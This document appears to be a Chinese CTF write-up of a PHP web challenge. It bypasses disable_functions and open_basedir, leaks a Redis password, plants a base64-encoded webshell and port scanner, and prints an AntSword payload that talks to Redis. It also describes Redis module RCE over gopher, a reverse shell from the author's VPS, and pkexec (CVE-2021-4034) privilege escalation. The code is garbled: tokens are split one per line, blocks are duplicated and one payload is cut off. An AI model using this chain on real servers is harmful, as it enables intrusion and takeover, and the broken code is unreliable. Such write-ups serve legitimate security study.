最近一直在备考,也没时间来复盘一下之前遇到的好题,正好最近比较空闲
来看一下我之前遇到的比较好的题,来记录一下学习
题目打开只有简单的源码
尝试看一下phpinfo
发现被ban了,不过不要紧,我们还有其他的方法可以获取配置信息
比如ini_get_all()
该函数可以来读取php相关的配置信息,例如disable_functions/disable_class/open_basedir等信息
我们来构造一下,查看一下相关的配置信息
可以看到disable_functions/disable_class/open_basedir
这些方法都被ban了,但是scandir()
和file_put_contents()
等都没被ban,这是非常重要的信息,我们可以利用scandir()
先看一下当前目录有无其他东西
发现了secret.rdb
能够提取出一串字符串
高度怀疑此处是redis的密码,但是redis并不在默认端口6379,此处陷入了僵局
但是我们可以扫一下端口(参照WMCTF2021MakePHPGreatAgainAndAgain),利用如下exp配合file_put_contents()
将exp写入服务器,再触发
可以看到两个端口80
和8888
存活
利用get_loaded_extensions()
查看所有编译并加载的模块,发现了redis
也就是说,可以利用redis module load rce
https://xz.aliyun.com/t/5665#toc-13
这里按照之前比赛的经验,我想要利用蚁剑的redis插件操作redis,这样会方便很多。
我们来写入一个webshell
尝试用蚁剑来操作redis失败
这里我们可以抓个包看看怎么回事,把蚁剑的流量代理到bp上
可以看到stream_socket_client
是蚁剑连接redis的方法,但是该方法在disable_functions
中,所以此路不通了
这时候可以利用file_put_contents
写so文件,再利用gopher协议RCE然后反弹shell,想比于直接redis交互,就是麻烦了一点
把so文件放在你的vps上,然后用python开一个http服务,然后利用如下exp来写入靶机中
file_put_contents
写so文件:
可以看到vps这边有一个记录
此时so文件写入成功,接下来进行RCE反弹shell
exp:
成功反弹shell,找一下flag
提示没有权限,此时我们需要找个办法提权一下
运行find / -user root -perm -4000 -print 2>/dev/null
看有没有可以利用的地方
看到这里,我想到了之前的pkexec提权(CVE-2021-4034)
https://github.com/arthepsy/CVE-2021-4034.git
我们可以尝试一下看看,能否提权,把exp.c文件放到vps让,在靶机里执行curl下载到靶机
成功下载并且放到了/tmp目录下,进入目录并且利用gcc编译
这里注意,要给权限不然运行不了,给完权限运行一下试试
成功提权并且拿到flag
/
?exp
=
var_dump(ini_get_all());
/
?exp
=
var_dump(ini_get_all());
/
?exp
=
var_dump(scandir(
'/var/www/html'
));
/
?exp
=
var_dump(scandir(
'/var/www/html'
));
ye_w4nt_a_gir1fri3nd
/
/
此处我用的官方wp的exp脚本
/
?exp
=
eval
(file_put_contents(
"1.php"
,base64_decode($_POST[
'a'
])));
POST:
a
=
PD9waHAKaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pOwojIFBvcnQgc2Nhbgpmb3IoJGk9MDskaTw2NTUzNTskaS
srKSB7CiAgJHQ9c3RyZWFtX3NvY2tldF9zZXJ2ZXIoInRjcDovLzAuMC4wLjA6Ii4kaSwkZWUsJGVlMik7CiAgaW
YoJGVlMiA9PT0gIkFkZHJlc3MgYWxyZWFkeSBpbiB1c2UiKSB7CiAgICB2YXJfZHVtcCgkaSk7CiAgfQp9Cg
=
=
/
/
此处我用的官方wp的exp脚本
/
?exp
=
eval
(file_put_contents(
"1.php"
,base64_decode($_POST[
'a'
])));
POST:
a
=
PD9waHAKaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pOwojIFBvcnQgc2Nhbgpmb3IoJGk9MDskaTw2NTUzNTskaS
srKSB7CiAgJHQ9c3RyZWFtX3NvY2tldF9zZXJ2ZXIoInRjcDovLzAuMC4wLjA6Ii4kaSwkZWUsJGVlMik7CiAgaW
YoJGVlMiA9PT0gIkFkZHJlc3MgYWxyZWFkeSBpbiB1c2UiKSB7CiAgICB2YXJfZHVtcCgkaSk7CiAgfQp9Cg
=
=
?exp
=
eval
(file_put_contents(
"shell.php"
,base64_decode($_POST[
'a'
])));
POST:
a
=
PD9waHAKZXZhbCgkX1BPU1RbMV0pOw
=
=
?exp
=
eval
(file_put_contents(
"shell.php"
,base64_decode($_POST[
'a'
])));
POST:
a
=
PD9waHAKZXZhbCgkX1BPU1RbMV0pOw
=
=
@ini_set
(
"display_errors"
,
"0"
);@set_time_limit(
0
);$opdir
=
@ini_get(
"open_basedir"
);
if
($opdir) {$ocwd
=
dirname($_SERVER[
"SCRIPT_FILENAME"
]);$oparr
=
preg_split(
"/;|:/"
,$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {
if
(!@is_writable($item)){
continue
;};$tmdir
=
$item.
"/.2877aca83bea"
;@mkdir($tmdir);
if
(!@file_exists($tmdir)){
continue
;}@chdir($tmdir);@ini_set(
"open_basedir"
,
".."
);$cntarr
=
@preg_split(
"/\\\\|\//"
,$tmdir);
for
($i
=
0
;$i<sizeof($cntarr);$i
+
+
){@chdir(
".."
);};@ini_set(
"open_basedir"
,
"/"
);@rmdir($tmdir);
break
;};};;function asenc($out){
return
$out;};function asoutput(){$output
=
ob_get_contents();ob_end_clean();echo
"3606"
.
"f25bf"
;echo @asenc($output);echo
"a5"
.
"256"
;}ob_start();
try
{$cmd
=
base64_decode(
"KjINCiQ0DQpBVVRIDQokMjANCnllX3c0bnRfYV9naXIxZnJpM25kDQoqMg0KJDQNCklORk8NCiQ4DQpLZXlzcGFjZQ0K"
);
$conn
=
@stream_socket_client(
"tcp://127.0.0.1:8888"
, $errno, $errstr, $timeout
=
30
);
if
(!$conn){
echo
"LUVSUiBDb25uZWN0aW9uIFJlZnVzZWQ="
;
}
else
{
@fwrite
($conn,$cmd,strlen($cmd));
$resp
=
@fread($conn,
8196
);
@stream_set_blocking
($conn,
0
);
while
($buf
=
@fread($conn,
8196
)){$resp.
=
$buf;}
stream_set_blocking($conn,
1
);
echo base64_encode($resp);
@stream_socket_shutdown
($conn,STREAM_SHUT_RDWR);
@fclose
($conn);
};}catch(Exception $e){echo
"ERROR://"
.$e
-
>getMessage();};asoutput();die();
@ini_set
(
"display_errors"
,
"0"
);@set_time_limit(
0
);$opdir
=
@ini_get(
"open_basedir"
);
if
($opdir) {$ocwd
=
dirname($_SERVER[
"SCRIPT_FILENAME"
]);$oparr
=
preg_split(
"/;|:/"
,$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {
if
(!@is_writable($item)){
continue
;};$tmdir
=
$item.
"/.2877aca83bea"
;@mkdir($tmdir);
if
(!@file_exists($tmdir)){
continue
;}@chdir($tmdir);@ini_set(
"open_basedir"
,
".."
);$cntarr
=
@preg_split(
"/\\\\|\//"
,$tmdir);
for
($i
=
0
;$i<sizeof($cntarr);$i
+
+
){@chdir(
".."
);};@ini_set(
"open_basedir"
,
"/"
);@rmdir($tmdir);
break
;};};;function asenc($out){
return
$out;};function asoutput(){$output
=
ob_get_contents();ob_end_clean();echo
"3606"
.
"f25bf"
;echo @asenc($output);echo
"a5"
.
"256"
;}ob_start();
try
{$cmd
=
base64_decode(
"KjINCiQ0DQpBVVRIDQokMjANCnllX3c0bnRfYV9naXIxZnJpM25kDQoqMg0KJDQNCklORk8NCiQ4DQpLZXlzcGFjZQ0K"
);
$conn
=
@stream_socket_client(
"tcp://127.0.0.1:8888"
, $errno, $errstr, $timeout
=
30
);
if
(!$conn){
echo
"LUVSUiBDb25uZWN0aW9uIFJlZnVzZWQ="
;
}
else
{
@fwrite
($conn,$cmd,strlen($cmd));
$resp
=
@fread($conn,
8196
);
[注意]APP应用上架合规检测服务,协助应用顺利上架!